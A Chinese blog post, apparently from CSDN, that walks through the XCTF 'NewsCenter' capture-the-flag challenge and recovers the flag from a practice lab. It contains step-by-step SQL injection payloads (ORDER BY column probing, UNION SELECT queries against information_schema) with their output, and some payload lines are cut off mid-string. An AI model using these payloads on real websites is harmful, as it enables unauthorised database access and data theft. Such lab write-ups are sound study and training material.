

攻防世界-NewsCenter

原创

m0_62094846 于 2021-11-16 21:56:43 发布 996 收藏

文章标签: [网络安全](#) [安全](#) [mysql](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/m0_62094846/article/details/121366144

版权

作为萌新, 找了页面, 源代码, 开发者工具, 就是没想到是sql注入 (之前做的题目会写是注入)

NewsCenter

最佳Writeup由你是斗不过我的FC的 · 你是斗不过我的FC的提供

难度系数: ★★ 2.0

题目来源: XCTF 4th-QCTF-2018

题目描述: 如题目环境报错, 稍等片刻刷新即可

题目场景: 删除场景

倒计时: 03:44:37 延时

题目附件: 暂无

CSDN @m0_62094846

Hacker News

OVERVIEW

Search news

search

News

Hello World!

Two Zero-Day Exploits Found After Someone Uploaded

Security researchers at Microsoft have unveiled details of two critical and important zero-day vulnerabilities that had recently been

Facebook Admits Sharing User Data With 61 Tech Com

CSDN @m0_62094846

输入1和1#页面可以显示，如果输入1'会出现白屏



CSDN @m0_62094846

证明是sql注入，并且白屏表示不存在

输入3会有显示，4就会白屏，说明有3列数据

```
1' order by 3#
```

Search news

search

```
1' order by 3#
```

News

CSDN @m0_62094846

接下来就可以查看数据库了

Search news

search

```
-1' union select 1,2,database()#
```

News

2

news

CSDN @m0_62094846

然后查表，有两个，依次查

Search news

search

```
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#
```

News

2

news,secret_table

CSDN @m0_62094846

```
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_tab
```

在secret_table中看到有类似flag的字样

Search news

search

```
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secre
```

News

2

id,f14g

CSDN @m0_62094846

最后就可以查出数据

```
-1' union select 1,2,group_concat(f14g) from secret_table#
```

Search news

search

```
-1' union select 1,2,group_concat(f14g) from secret_table#
```

News

2

QCTF{sq1_inJec7ion_ezzz}

CSDN @m0_62094846